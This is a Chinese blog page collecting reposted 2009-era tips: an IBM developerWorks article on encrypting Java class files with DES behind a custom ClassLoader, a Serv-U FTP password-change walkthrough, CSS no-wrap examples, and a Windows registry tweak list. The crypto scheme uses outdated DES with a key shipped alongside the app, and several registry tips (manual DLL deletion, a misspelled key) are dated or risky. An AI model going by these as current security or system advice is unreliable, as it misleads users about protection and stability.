JSP 能加密吗 运用加密技术保护Java源代码

2009年8月28日星期五 | | 0 评论 |

级别: 初级

俞良松 ([email protected]), 软件工程师,独立顾问和自由撰稿人

2001 年 10 月 15 日

Java程序的源代码很容易被别人偷看。只要有一个反编译器,任何人都可以分析别人的代码。本文讨论如何在不修改原有程序的情况下,通过加密技术保护源代码。

为什么要加密?

对于传统的C或C++之类的语言来说,要在Web上保护源代码是很容易的,只要不发布它就可以。遗憾的是,Java程序的源代码很容易被别人偷看。只要有 一个反编译器,任何人都可以分析别人的代码。Java的灵活性使得源代码很容易被窃取,但与此同时,它也使通过加密保护代码变得相对容易,我们唯一需要了 解的就是Java的ClassLoader对象。当然,在加密过程中,有关Java Cryptography Extension(JCE)的知识也是必不可少的。

有几种技术可以"模糊"Java类文件,使得反编译器处理类文件的效果大打折扣。然而,修改反编译器使之能够处理这些经过模糊处理的类文件并不是什么难事,所以不能简单地依赖模糊技术来保证源代码的安全。

我们可以用流行的加密工具加密应用,比如PGP(Pretty Good Privacy)或GPG(GNU Privacy Guard)。这时,最终用户在运行应用之前必须先进行解密。但解密之后,最终用户就有了一份不加密的类文件,这和事先不进行加密没有什么差别。

Java运行时装入字节码的机制隐含地意味着可以对字节码进行修改。JVM每次装入类文件时都需要一个称为ClassLoader的对象,这个对象负责把 新的类装入正在运行的JVM。JVM给ClassLoader一个包含了待装入类(比如java.lang.Object)名字的字符串,然后由 ClassLoader负责找到类文件,装入原始数据,并把它转换成一个Class对象。

我们可以通过定制ClassLoader,在类文件执行之前修改它。这种技术的应用非常广泛――在这里,它的用途是在类文件装入之时进行解密,因此可以看成是一种即时解密器。由于解密后的字节码文件永远不会保存到文件系统,所以窃密者很难得到解密后的代码。

由于把原始字节码转换成Class对象的过程完全由系统负责,所以创建定制ClassLoader对象其实并不困难,只需先获得原始数据,接着就可以进行包含解密在内的任何转换。

Java 2在一定程度上简化了定制ClassLoader的构建。在Java 2中,loadClass的缺省实现仍旧负责处理所有必需的步骤,但为了顾及各种定制的类装入过程,它还调用一个新的findClass方法。

这为我们编写定制的ClassLoader提供了一条捷径,减少了麻烦:只需覆盖findClass,而不是覆盖loadClass。这种方法避免了重复所有装入器必需执行的公共步骤,因为这一切由loadClass负责。

不过,本文的定制ClassLoader并不使用这种方法。原因很简单。如果由默认的ClassLoader先寻找经过加密的类文件,它可以找到;但由于 类文件已经加密,所以它不会认可这个类文件,装入过程将失败。因此,我们必须自己实现loadClass,稍微增加了一些工作量。





回页首


定制类装入器

每一个运行着的JVM已经拥有一个ClassLoader。这个默认的ClassLoader根据CLASSPATH环境变量的值,在本地文件系统中寻找合适的字节码文件。

应用定制ClassLoader要求对这个过程有较为深入的认识。我们首先必须创建一个定制ClassLoader类的实例,然后显式地要求它装入另外一个类。这就强制JVM把该类以及所有它所需要的类关联到定制的ClassLoader。Listing 1显示了如何用定制ClassLoader装入类文件。

【Listing 1:利用定制的ClassLoader装入类文件】
// 首先创建一个ClassLoader对象
ClassLoader myClassLoader = new myClassLoader();
// 利用定制ClassLoader对象装入类文件
// 并把它转换成Class对象
Class myClass = myClassLoader.loadClass( "mypackage.MyClass" );
// 最后,创建该类的一个实例
Object newInstance = myClass.newInstance();
// 注意,MyClass所需要的所有其他类,都将通过
// 定制的ClassLoader自动装入

如前所述,定制ClassLoader只需先获取类文件的数据,然后把字节码传递给运行时系统,由后者完成余下的任务。

ClassLoader有几个重要的方法。创建定制的ClassLoader时,我们只需覆盖其中的一个,即loadClass,提供获取原始类文件数据 的代码。这个方法有两个参数:类的名字,以及一个表示JVM是否要求解析类名字的标记(即是否同时装入有依赖关系的类)。如果这个标记是true,我们只 需在返回JVM之前调用resolveClass。

【Listing 2:ClassLoader.loadClass()的一个简单实现】
public Class loadClass( String name, boolean resolve )
throws ClassNotFoundException {
try {
// 我们要创建的Class对象
Class clasz = null;
// 必需的步骤1:如果类已经在系统缓冲之中,
// 我们不必再次装入它
clasz = findLoadedClass( name );
if (clasz != null)
return clasz;
// 下面是定制部分
byte classData[] = /* 通过某种方法获取字节码数据 */;
if (classData != null) {
// 成功读取字节码数据,现在把它转换成一个Class对象
clasz = defineClass( name, classData, 0, classData.length );
}
// 必需的步骤2:如果上面没有成功,
// 我们尝试用默认的ClassLoader装入它
if (clasz == null)
clasz = findSystemClass( name );
// 必需的步骤3:如有必要,则装入相关的类
if (resolve && clasz != null)
resolveClass( clasz );
// 把类返回给调用者
return clasz;
} catch( IOException ie ) {
throw new ClassNotFoundException( ie.toString() );
} catch( GeneralSecurityException gse ) {
throw new ClassNotFoundException( gse.toString() );
}
}

Listing 2显示了一个简单的loadClass实现。代码中的大部分对所有ClassLoader对象来说都一样,但有一小部分(已通过注释标记)是特有的。在处理过程中,ClassLoader对象要用到其他几个辅助方法:

  • findLoadedClass:用来进行检查,以便确认被请求的类当前还不存在。loadClass方法应该首先调用它。
  • defineClass:获得原始类文件字节码数据之后,调用defineClass把它转换成一个Class对象。任何loadClass实现都必须调用这个方法。
  • findSystemClass:提供默认ClassLoader的支持。如果用来寻找类的定制方法不能找到指定的类(或者有意地不用定制方法),则可以调用该方法尝试默认的装入方式。这是很有用的,特别是从普通的JAR文件装入标准Java类时。
  • resolveClass:当JVM想要装入的不仅包括指定的类,而且还包括该类引用的所有其他类时,它会把loadClass的resolve参数设置成true。这时,我们必须在返回刚刚装入的Class对象给调用者之前调用resolveClass。





回页首


加密、解密

Java加密扩展即Java Cryptography Extension,简称JCE。它是Sun的加密服务软件,包含了加密和密匙生成功能。JCE是JCA(Java Cryptography Architecture)的一种扩展。

JCE没有规定具体的加密算法,但提供了一个框架,加密算法的具体实现可以作为服务提供者加入。除了JCE框架之外,JCE软件包还包含了SunJCE服务提供者,其中包括许多有用的加密算法,比如DES(Data Encryption Standard)和Blowfish。

为简单计,在本文中我们将用DES算法加密和解密字节码。下面是用JCE加密和解密数据必须遵循的基本步骤:

  • 步骤1:生成一个安全密匙。在加密或解密任何数据之前需要有一个密匙。密匙是随同被加密的应用一起发布的一小段数据,Listing 3显示了如何生成一个密匙。

    【Listing 3:生成一个密匙】
    // DES算法要求有一个可信任的随机数源
    SecureRandom sr = new SecureRandom();
    // 为我们选择的DES算法生成一个KeyGenerator对象
    KeyGenerator kg = KeyGenerator.getInstance( "DES" );
    kg.init( sr );
    // 生成密匙
    SecretKey key = kg.generateKey();
    // 获取密匙数据
    byte rawKeyData[] = key.getEncoded();
    /* 接下来就可以用密匙进行加密或解密,或者把它保存
    为文件供以后使用 */
    doSomething( rawKeyData );

  • 步骤2:加密数据。得到密匙之后,接下来就可以用它加密数据。除了解密的ClassLoader之外,一般还要有一个加密待发布应用的独立程序(见Listing 4)。

    【Listing 4:用密匙加密原始数据】
    // DES算法要求有一个可信任的随机数源
    SecureRandom sr = new SecureRandom();
    byte rawKeyData[] = /* 用某种方法获得密匙数据 */;
    // 从原始密匙数据创建DESKeySpec对象
    DESKeySpec dks = new DESKeySpec( rawKeyData );
    // 创建一个密匙工厂,然后用它把DESKeySpec转换成
    // 一个SecretKey对象
    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance( "DES" );
    SecretKey key = keyFactory.generateSecret( dks );
    // Cipher对象实际完成加密操作
    Cipher cipher = Cipher.getInstance( "DES" );
    // 用密匙初始化Cipher对象
    cipher.init( Cipher.ENCRYPT_MODE, key, sr );
    // 现在,获取数据并加密
    byte data[] = /* 用某种方法获取数据 */
    // 正式执行加密操作
    byte encryptedData[] = cipher.doFinal( data );
    // 进一步处理加密后的数据
    doSomething( encryptedData );

  • 步骤3:解密数据。运行经过加密的应用时,ClassLoader分析并解密类文件。操作步骤如Listing 5所示。

    【Listing 5:用密匙解密数据】
    // DES算法要求有一个可信任的随机数源
    SecureRandom sr = new SecureRandom();
    byte rawKeyData[] = /* 用某种方法获取原始密匙数据 */;
    // 从原始密匙数据创建一个DESKeySpec对象
    DESKeySpec dks = new DESKeySpec( rawKeyData );
    // 创建一个密匙工厂,然后用它把DESKeySpec对象转换成
    // 一个SecretKey对象
    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance( "DES" );
    SecretKey key = keyFactory.generateSecret( dks );
    // Cipher对象实际完成解密操作
    Cipher cipher = Cipher.getInstance( "DES" );
    // 用密匙初始化Cipher对象
    cipher.init( Cipher.DECRYPT_MODE, key, sr );
    // 现在,获取数据并解密
    byte encryptedData[] = /* 获得经过加密的数据 */
    // 正式执行解密操作
    byte decryptedData[] = cipher.doFinal( encryptedData );
    // 进一步处理解密后的数据
    doSomething( decryptedData );





回页首


应用实例

前面介绍了如何加密和解密数据。要部署一个经过加密的应用,步骤如下:

  1. 步骤1:创建应用。我们的例子包含一个App主类,两个辅助类(分别称为Foo和Bar)。这个应用没有什么实际功用,但只要我们能够加密这个应用,加密其他应用也就不在话下。
  2. 步骤2:生成一个安全密匙。在命令行,利用GenerateKey工具(参见GenerateKey.java)把密匙写入一个文件:
    % java GenerateKey key.data


  3. 步骤3:加密应用。在命令行,利用EncryptClasses工具(参见EncryptClasses.java)加密应用的类:
    % java EncryptClasses key.data App.class Foo.class Bar.class

    该命令把每一个.class文件替换成它们各自的加密版本。
  4. 步骤4:运行经过加密的应用。用户通过一个DecryptStart程序运行经过加密的应用。DecryptStart程序如Listing 6所示。
    【Listing 6:DecryptStart.java,启动被加密应用的程序】
    import java.io.*;
    import java.security.*;
    import java.lang.reflect.*;
    import javax.crypto.*;
    import javax.crypto.spec.*;
    public class DecryptStart extends ClassLoader
    {
    // 这些对象在构造函数中设置,
    // 以后loadClass()方法将利用它们解密类
    private SecretKey key;
    private Cipher cipher;
    // 构造函数:设置解密所需要的对象
    public DecryptStart( SecretKey key ) throws GeneralSecurityException,
    IOException {
    this.key = key;
    String algorithm = "DES";
    SecureRandom sr = new SecureRandom();
    System.err.println( "[DecryptStart: creating cipher]" );
    cipher = Cipher.getInstance( algorithm );
    cipher.init( Cipher.DECRYPT_MODE, key, sr );
    }
    // main过程:我们要在这里读入密匙,创建DecryptStart的
    // 实例,它就是我们的定制ClassLoader。
    // 设置好ClassLoader以后,我们用它装入应用实例,
    // 最后,我们通过Java Reflection API调用应用实例的main方法
    static public void main( String args[] ) throws Exception {
    String keyFilename = args[0];
    String appName = args[1];
    // 这些是传递给应用本身的参数
    String realArgs[] = new String[args.length-2];
    System.arraycopy( args, 2, realArgs, 0, args.length-2 );
    // 读取密匙
    System.err.println( "[DecryptStart: reading key]" );
    byte rawKey[] = Util.readFile( keyFilename );
    DESKeySpec dks = new DESKeySpec( rawKey );
    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance( "DES" );
    SecretKey key = keyFactory.generateSecret( dks );
    // 创建解密的ClassLoader
    DecryptStart dr = new DecryptStart( key );
    // 创建应用主类的一个实例
    // 通过ClassLoader装入它
    System.err.println( "[DecryptStart: loading "+appName+"]" );
    Class clasz = dr.loadClass( appName );
    // 最后,通过Reflection API调用应用实例
    // 的main()方法
    // 获取一个对main()的引用
    String proto[] = new String[1];
    Class mainArgs[] = { (new String[1]).getClass() };
    Method main = clasz.getMethod( "main", mainArgs );
    // 创建一个包含main()方法参数的数组
    Object argsArray[] = { realArgs };
    System.err.println( "[DecryptStart: running "+appName+".main()]" );
    // 调用main()
    main.invoke( null, argsArray );
    }
    public Class loadClass( String name, boolean resolve )
    throws ClassNotFoundException {
    try {
    // 我们要创建的Class对象
    Class clasz = null;
    // 必需的步骤1:如果类已经在系统缓冲之中
    // 我们不必再次装入它
    clasz = findLoadedClass( name );
    if (clasz != null)
    return clasz;
    // 下面是定制部分
    try {
    // 读取经过加密的类文件
    byte classData[] = Util.readFile( name+".class" );
    if (classData != null) {
    // 解密...
    byte decryptedClassData[] = cipher.doFinal( classData );
    // ... 再把它转换成一个类
    clasz = defineClass( name, decryptedClassData,
    0, decryptedClassData.length );
    System.err.println( "[DecryptStart: decrypting class "+name+"]" );
    }
    } catch( FileNotFoundException fnfe ) {
    }
    // 必需的步骤2:如果上面没有成功
    // 我们尝试用默认的ClassLoader装入它
    if (clasz == null)
    clasz = findSystemClass( name );
    // 必需的步骤3:如有必要,则装入相关的类
    if (resolve && clasz != null)
    resolveClass( clasz );
    // 把类返回给调用者
    return clasz;
    } catch( IOException ie ) {
    throw new ClassNotFoundException( ie.toString()
    );
    } catch( GeneralSecurityException gse ) {
    throw new ClassNotFoundException( gse.toString()
    );
    }
    }
    }

    对于未经加密的应用,正常执行方式如下:
    % java App arg0 arg1 arg2

    对于经过加密的应用,则相应的运行方式为:
    % java DecryptStart key.data App arg0 arg1 arg2

DecryptStart有两个目的。一个DecryptStart的实例就是一个实施即时解密操作的定制ClassLoader;同时, DecryptStart还包含一个main过程,它创建解密器实例并用它装入和运行应用。示例应用App的代码包含在App.java、 Foo.java和Bar.java内。Util.java是一个文件I/O工具,本文示例多处用到了它。完整的代码请从本文最后下载。





回页首


注意事项

我们看到,要在不修改源代码的情况下加密一个Java应用是很容易的。不过,世上没有完全安全的系统。本文的加密方式提供了一定程度的源代码保护,但对某些攻击来说它是脆弱的。

虽然应用本身经过了加密,但启动程序DecryptStart没有加密。攻击者可以反编译启动程序并修改它,把解密后的类文件保存到磁盘。降低这种风险的 办法之一是对启动程序进行高质量的模糊处理。或者,启动程序也可以采用直接编译成机器语言的代码,使得启动程序具有传统执行文件格式的安全性。

另外还要记住的是,大多数JVM本身并不安全。狡猾的黑客可能会修改JVM,从ClassLoader之外获取解密后的代码并保存到磁盘,从而绕过本文的加密技术。Java没有为此提供真正有效的补救措施。

不过应该指出的是,所有这些可能的攻击都有一个前提,这就是攻击者可以得到密匙。如果没有密匙,应用的安全性就完全取决于加密算法的安全性。虽然这种保护代码的方法称不上十全十美,但它仍不失为一种保护知识产权和敏感用户数据的有效方案。



参考资料



关于作者


俞良松,软件工程师,独立顾问和自由撰稿人。最初从事PB和Oracle开发,现主要兴趣在于Internet开发。您可以通过 [email protected] 和我联系。


From: http://www.ibm.com/developerworks/cn/java/l-secureclass/index.html
我的QQ空间
远程修改Serv-U FTP账户的登录密码
多朋友使用FTP账号上传和下载文件,但为了自己账号的安全,用户...
 

[know]远程修改Serv-U FTP账户的登录密码

| | 0 评论 |

  
多朋友使用FTP账号上传和下载文件,但为了自己账号的安全,用户需要每隔一段时间修改一次密码。通常情况下是由管理员在服务器端为我们修改,但这样操作很麻烦,其实用户自己也可以远程修改自己的FTP账号密码。

前提条件

首先要确保FTP服务器为该用户的账户提供了修改密码的权限。以最常见的FTP服务器软件"Serv-U"为例,设置账户的密码修改权限是非常简单的。现在我们给"FTP://www.efujin.com"这个FTP服务器的"tqxx"账号授予密码修改权限,在"Serv-U管理员"左边窗口的用户列表中找到"tqxx"账号,然后在右边的账号设置窗口中切换到"常规"选项页,勾选"允许用户修改密码",然后单击"应用"图标即可。

修改方法

1. 点击"开始运行",输入"cmd"并回车。

2. DOS窗口内输入"ftp 218.106.99.127"并回车。

C:\Documents and Settings\Administrator>ftp 218.106.99.127

屏幕提示如下:

Connected to 218.106.99.127.

220 Serv-U FTP Server v5.1 for WinSock ready...

User (218.106.99.127:(none)):

3. 在光标处输入你的FTP用户的账号(如:tqxx)并回车。

屏幕提示:

User (218.106.99.127:(none)): tqxx

331 User name okay, need password.

Password:

4. 接着输入你的FTP账号的密码(如:tqxx001,请注意此处的密码并不显示)。

屏幕提示:

Password:

230 User logged in, proceed.

ftp>

5. 然后输入如下命令,即可将你的FTP账号的密码修改为"12345678"

quote site pswd tqxx001 12345678

(注:命令格式为"quote site pswd 初始密码 修改密码"

屏幕提示:

ftp> quote site pswd tqxx001 12345678

230 Password changed okay.

6. 屏幕提示"230 Password changed okay.",说明密码修改成功。最后输入"quit"退出FTP登录。

屏幕提示:

ftp> quit

221 Goodbye!

是不是很简单?你也试试!



我的QQ空间
让div中内容不换行的两种简单方法
1. 对于内容不多,针对单一的少量应用,可以用<nobr></n...
 
 

[温习]让div中内容不换行的两种简单方法

2009年8月27日星期四 | | 0 评论 |

1. 对于内容不多,针对单一的少量应用,可以用<nobr></nobr>标签把需要不换行的内容括起来。
以下为引用的内容:
<html>
<head>
</head>
<body>
<div style="width:10px;"><nobr>不换行的
内mmmmmmmmmmmmmm容</nobr></div>
</body>
</html>
2. 用white-space:nowrap
以下为引用的内容:
<html>
<head>
</head>
<body>
<div style="width:10px;white-space:nowrap">不换行的内mmmmmmmmmmmmmm容</div> 
</body>
</html>

第一种方法也可以将其定义在CSS里
以下为引用的内容:
<html>
<head>
<style type="text/css">
.nobr{
white-space:nowrap;
width:10px;
}
</style>
</head>
<body>
<div class="nobr">
不换行的内mmmmmmmmmmmmmm容</div>
</body>
</html>

我的QQ空间
在xp.xp3桌面显示IE图标(非快捷键方式)
安装了最新的XP SP3系统,却发现桌面没有IE图标,然后在桌面单击...
 

《改变Windows的Shell图标》

2009年8月24日星期一 | | 0 评论 |

《改变Windows的Shell图标》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Shell Icons]
[操作]新建字符串值,名称从0开始,值为图标文件及路径。以下是各键值所对应的项目:
0:未注册类型的文件
2:不含图标的应用程序
3:关闭的文件夹
4:打开的文件夹
6:3.5寸软盘驱动器
7:可移动磁盘驱动器
8:硬盘驱动器
9:网络驱动器
10:脱机网络驱动器
11:光盘驱动器
13:整个网络
14:网络
15:网上邻居中计算机图标
16:本地打印机
18:网络中的工作组
19:开始菜单中的程序(WIN9X)
20:开始菜单中的文档(WIN9X)
21:开始菜单中的设置(WIN9X)
22:开始菜单中的查找(WIN9X)
23:开始菜单中的帮助(WIN9X)
24:开始菜单中的运行(WIN9X)
27:开始菜单中的关闭系统(WIN9X)
28:共享覆盖图
29:快捷方式覆盖图
31:Recycled文件夹(空)
32:Recycled文件夹(满)
34:资源管理器中的桌面
35:开始设置菜单中的控制面板
36:开始程序菜单中的程序组
37:开始设置菜单中的打印机
39:开始设置菜单中的任务栏和开始菜单
40:CD光盘
43:开始菜单中的收藏夹(WIN9X)
44:开始菜单中的注销(WIN9X)
46:开始设置菜单中的Windows Update(WIN9X)
48:开始查找菜单中的文件或文件夹(WIN9X)
49:开始查找菜单中的计算机(WIN9X)
53:添加打印机(WIN9X)
54:网络打印机(WIN9X)
55:文件打印机(WIN9X)
75:联机本地打印机(WIN9X)
76:联机网络打印机(WIN9X)
77:联机文件打印机(WIN9X)

《让WIN98使用多列开始菜单》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced]
"StartMenuScrollPrograms"="False"
[注]WIN98的开始菜单采用单列显示方式,当一列无法显示完全时,会在上下显示一个滚动点,把鼠标移到那里菜单就会滚动。而其它Windows系统都是采用多列显示方式,一次将整个菜单都在屏幕上显示出来,当超出时则放在第二列上。

《禁止硬盘空间不足的警告》(WIN9X)
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem]
"DisableLowDiskSpaceBroadcast"=04,00,00,00(C驱)/08,00,00,00(D驱)/10,00,00,00(E驱)/20,00,00,00(F驱)/hex:ff,ff,ff,ff(所有)

《让计划任务提交错误报告》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent]
"NotifyOnTaskMiss"=dword:00000001
[注]当使用计划任务让系统自动运行一些命令或程序时,如果运行时发生错误,计划任务将不会提交错误报告,此设置就是让计划任务在出现错误时弹出提示信息。

《增加驱动程序的识别级别》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Driver Signing]
"Policy"=hex:01,00,00,00(无注册标志时提示)或02,00,00,00(禁止)

《自动清除内存中不被使用的DLL文件》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL]
[操作]"默认"值设为"1"

《增加USB端口检测间隔》
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Usb\0000](WIN98/ME)
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Class\{36FC9E60-C465-11CF-8056-444553540000}\0000](WIN2000/XP)
"IdleEnable"=dword:00000001(0禁止检测间隔,1允许检测间隔)
[注]如果有的话,对"0001","0002"......做相同设置。

《更改CPU处理任务的默认优先级别》(WIN9X)
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\BIOS]
"CPUPriority"=dword:0000000x(1:前台任务拥有最大优先级;2:前台任务的优先级高于后台任务;3:默认,前台与后台任务优先级相同;0:不推荐,前台任务实时运行)

《总线及内存优化(减少等待周期)》(WIN9X)
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\BIOS]
"PCIConcur"=dword:00000001
"AGPConcur"=dword:00000001
"FastDRAM"=dword:00000001

《增加文件系统缓存》(WIN9X)
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\FS Templates\Desktop(/Mobile/Server)]
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem]
"NameCache"=hex:a9,0a,00,00(Server默认)
"PathCache"=hex:40,00,00,00(Server默认)

《增加CD/DVD-ROM缓存》(WIN9X)
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem\CDFS]
"CacheSize"=hex:6b,02,00,00(默认)
"Prefetch"=hex:e4,00,00,00(默认)

《优化文件系统》(WIN9X)
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem]
"ConfigFileAllocSize"=dword:000001f4

《提高软盘驱动器的读写速度(使之具备后台存储管理功能)》(WIN9X)
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\fdc\0000]
"ForeFifo"=dword:00000000

《删除系统无用的动态链接库(DLL文件)》
[HEKY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLL]
[注]每个DLL文件的键值说明此DLL被几个应用程序共享,若为"01 00 00 00"则此DLL文件被一个应用程序共享。若为 "00 00 00 00"则该DLL文件对系统不起作用,说明它是一个^^文件,删除该键值,并且删除硬盘中的这个DLL文件。

《查看系统中的16位和32位DLL文件》
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Known16DLLs](16位)(WIN9X)
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs](32位)

《Windows自动刷新/手动刷新》
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Update]
"UpdateMode"=hex:00,00,00,00(自动刷新)/01,00,00,00(手动刷新)

《在系统属性里显示更多的CPU信息》(WIN9X)
[HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor\0]
"VendorIdentifier"="Genuine Intel"(注意空格)

《解决一些英文软件在中文版Windows下乱码问题》
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\fontassoc\Associated CharSet]
"GB2312(86)"="no"(WIN9X)
"SYMBOL(02)"="no"(WIN2000)

《解决删除虚拟光驱后原光驱无法使用的问题》
[HKEY_LOCAL_MACHINE\Enum\SCSI](WIN9X)
[操作]删除所有子键,重启系统将自动寻找物理光驱,并重新在上述子键中加入物理光驱信息。

WINDOWS 2000及以后版本新增注册表设置

WINDOWS 2000及以后版本新增注册表设置


《组策略\用户配置\管理模板\Windows组件\Windows资源管理器》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoManageMyComputerVerb"=dword:00000001(隐藏"我的电脑"右键菜单的"管理")(至少WIN2000)
"NoShellSearchButton"=dword:00000001(从资源管理器中删除"搜索"按钮)(至少WIN2000)
"NoLowDiskSpaceChecks"=dword:00000001(禁止硬盘空间不足的警告)(至少WIN2000)
"NoViewOnDrive"=dword:xxxxxxxx(禁止从我的电脑访问驱动器,设置参照"NoDrives")(至少WIN2000)
"NoHardwareTab"=dword:00000001(从控制面板的鼠标,键盘、声音和音频设备以及驱动器的属性对话框中删除硬件选项卡)(至少WIN2000)
"NoSecurityTab"=dword:00000001(从文件及文件夹属性中删除安全选项卡)(至少WINXP)
"NoChangeAnimation"=dword:00000001(禁止更改菜单动画设置的UI)(至少WIN2000)
"NoChangeKeyboardNavigationIndicators"=dword:00000001(禁止更改显示属性中"使用ALT键之前始终隐藏键盘导航指示"选项)(至少WIN2000)
"NoDFSTab"=dword:00000001(从资源管理器中删除DFS选项卡)(至少WIN2000)
"NoComputersNearMe"=dword:00000001(网上邻居中没有"我附近的计算机")(至少WIN2000)
"MaxRecentDocs"=dword:0000000f(最近的文档最大数目)(至少WIN2000)
"NoRunasInstallPrompt"=dword:00000001(禁止使用"作为其他用户安装程序"对话框来安装程序)(至少WIN2000)
"PromptRunasInstallNetPath"=dword:00000001(在网络安装时显示"作为其他用户安装程序"对话框)(至少WIN2000)
[注]只有当非管理员用户安装程序时,才需要提交其它登录凭据(作为其他用户安装程序)。
"NoCDBurning"=dword:00000001(删除资源管理器的CD烧录功能)(至少WINXP)
"NoRecycleFiles"=dword:00000001(不将删除的文件移入回收站)(至少WINXP)
"ConfirmFileDelete"=dword:00000001(强制确认文件删除对话框)(至少WINXP)
"RecycleBinSize"=dword:0000000a(限制回收站占磁盘空间的百分比,禁止用户更改)(至少WINXP)
"NoSharedDocuments"=dword:00000001(从我的电脑删除共享文档)(至少WINXP)
"NoThumbnailCache"=dword:00000001(关闭缩略图缓存)(至少WINXP)
"NoFileAssociate"=dword:00000001(禁止更改文件夹选项中的文件类型)(至少WIN2000)

《组策略\用户配置\管理模板\Windows组件\Windows资源管理器\通用打开文件对话框》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32\Placesbar]
"Place0"="ab"(位置栏中显示的项目)(至少WINXP)
[注]一共设置5个值,从Place0到Place4,有效项目为:
1.本地文件夹,如C:\Windows
2.远程文件夹,格式\\server\share
3.Common Shell Folders:CommonDocuments,CommonMusic,CommonPictures,Desktop,MyComputer, MyDocuments,MyFavorites,MyMusic,MyNetworkPlaces,MyPictures,Printers, ProgramFiles,Recent。
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32]
"NoPlacesBar"=dword:00000001(隐藏位置栏)(至少WIN2000)
"NoFileMru"=dword:00000001(隐藏最近访问过文件的列表)(至少WIN2000)

《组策略\用户配置\管理模板\Windows组件\Micorsoft Management Console》
[HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC]
"RestrictAuthorMode"=dword:00000001(禁止用户进入编辑模式)(至少WIN2000)
"RestrictToPermittedSnapins"=dword:00000001(限制用户只使用列表中特别允许的管理单元)(至少WIN2000)
[HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\<CLSID>]
"Restrict_Run"=dword:00000000(允许)/00000001(禁止)(允许或禁止使用管理单元)(至少WIN2000)
[注]一些管理单元的CLSID:
{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}(组策略)
{58221C67-EA27-11CF-ADCF-00AA00A80033}(计算机管理)
{90087284-d6d6-11d0-8353-00a0c90640bf}(设备管理器)
{8EAD3A12-B2C1-11d0-83AA-00A0C92C9D5D}(磁盘管理)
{975797FC-4E2A-11D0-B702-00C04FD8DBF7}(事件查看器)
{5D6179C8-17EC-11D1-9AA9-00C04FD8FE93}(本地用户和组)
{58221C66-EA27-11CF-ADCF-00AA00A80033}(服务)
{45ac8c63-23e2-11d1-a696-00c04fd58bc3}(系统信息)

《组策略\用户配置\管理模板\Windows组件\Windows Update》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate]
"DisableWindowsUpdateAccess"=dword:00000001(删除使用所有Windows Update功能的访问)(至少WINXP)

《组策略\用户配置\管理模板\任务栏和开始菜单》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSimpleStartMenu"=dword:00000001(强制典型菜单)(至少WINXP)
"NoCommonGroups"=dword:00000001(从开始->程序菜单删除公共程序组)(至少WIN2000)
"NoSMMyDocs"=dword:00000001(从开始->文档菜单删除我的文档图标)(至少WIN2000)
"NoNetworkConnections"=dword:00000001(从开始->设置菜单删除网络连接)(至少WIN2000)
"NoSMMyPictures"=dword:00000001(从开始菜单中删除"图片收藏"图标)(至少WINXP)
"ForceStartMenuLogOff"=dword:00000001(强制开始菜单显示注销)(至少WIN2000)
"Intellimenus"=dword:00000001(禁止个性化菜单)(至少WIN2000)
"NoInstrumentation"=dword:00000001(关闭用户跟踪)(至少WIN2000)
[注]这个设置防止系统跟踪用户使用的程序、用户导航的路径和用户打开的文档。系统用这个信息来自定义Windows功能,如个性化菜单。
"MemCheckBoxInRunDlg"=dword:00000001(将"在单独的内存空间运行"复选框添加到"运行"对话框)(至少WIN2000)
[注]允许用户在专用的(不是共享的)虚拟DOS机器(VDM)进程中运行十六位程序。
"NoTaskGrouping"=dword:00000001(阻止在任务栏上对项目分组)(至少WINXP)
"LockTaskbar"=dword:00000001(锁定任务栏)(至少WINXP)
"NoTrayItemsDisplay"=dword:00000001(隐藏系统托盘图标)(至少WINXP)
"NoToolbarsOnTaskbar"=dword:00000001(不在任务栏显示任何自定义工具栏)(至少WINXP)
"GreyMSIAds""=dword:00000001(灰色显示开始菜单中安装不完全的程序的快捷方式)(至少WIN2000)

《组策略\用户配置\管理模板\任务栏和开始菜单(WINXP新样式开始菜单)》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"NoUserNameInStartMenu"=dword:00000001(隐藏用户名)
"NoStartMenuMorePrograms"=dword:00000001(隐藏所有程序)
"NoStartMenuMFUprogramsList"=dword:00000001(隐藏经常使用的程序)
"NoStartMenuMyMusic"=dword:00000001(删除我的音乐图标)
"NoStartMenuNetworkPlaces"=dword:00000001(删除网上邻居图标)

《组策略\用户配置\管理模板\桌面》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum]
